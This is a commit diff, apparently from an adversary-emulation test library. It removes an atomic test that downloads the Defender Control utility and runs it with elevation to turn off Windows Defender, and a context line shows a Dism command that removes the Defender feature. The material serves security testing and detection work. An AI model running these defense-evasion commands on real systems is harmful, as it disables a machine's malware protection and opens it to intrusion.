removing: Disable Defender with Defender Control (#2461)
This commit is contained in:
@@ -551,38 +551,7 @@ atomic_tests:
|
||||
Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove /NoRestart /quiet
|
||||
name: command_prompt
|
||||
elevation_required: true
|
||||
- name: Disable Defender with Defender Control
|
||||
auto_generated_guid: 178136d8-2778-4d7a-81f3-d517053a4fd6
|
||||
description: |
|
||||
Attempting to use Defender Control software to disable Windows Defender. Upon successful execution, Windows Defender will be turned off.
|
||||
supported_platforms:
|
||||
- windows
|
||||
input_arguments:
|
||||
DefenderID:
|
||||
description: Defender ID that is used as a sort of passcode to disable it within Defender Control from the command line. The machine-specific Defender ID can be obtained within Defender Control by going to menu, command line info, and then retrieving the 4 character passcode to continue (listed after defendercontrol /d /id in the command line info window).
|
||||
type: string
|
||||
default: FFFF
|
||||
DefenderControlExe:
|
||||
description: Path to Defender Control software version 1.6.
|
||||
type: string
|
||||
default: PathToAtomicsFolder\..\ExternalPayloads\DefenderControl\DefenderControl\DefenderControl.exe
|
||||
dependency_executor_name: powershell
|
||||
dependencies:
|
||||
- description: |
|
||||
Defender Control must be installed on the machine.
|
||||
prereq_command: |
|
||||
if (Test-Path #{DefenderControlExe}) {exit 0} else {exit 1}
|
||||
get_prereq_command: |
|
||||
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
|
||||
Invoke-WebRequest "https://web.archive.org/web/20201210152711/https://www.sordum.org/files/download/defender-control/DefenderControl.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\defendercontrol.zip"
|
||||
expand-archive -LiteralPath "PathToAtomicsFolder\..\ExternalPayloads\defendercontrol.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\DefenderControl"
|
||||
executor:
|
||||
command: |
|
||||
cmd /c #{DefenderControlExe} /D #{DefenderID} | Out-Null
|
||||
cleanup_command: |
|
||||
cmd /c #{DefenderControlExe} /E | Out-Null
|
||||
name: powershell
|
||||
elevation_required: true
|
||||
|
||||
- name: Disable Defender Using NirSoft AdvancedRun
|
||||
auto_generated_guid: 81ce22fd-9612-4154-918e-8a1f285d214d
|
||||
description: |
|
||||
|
||||
Reference in New Issue
Block a user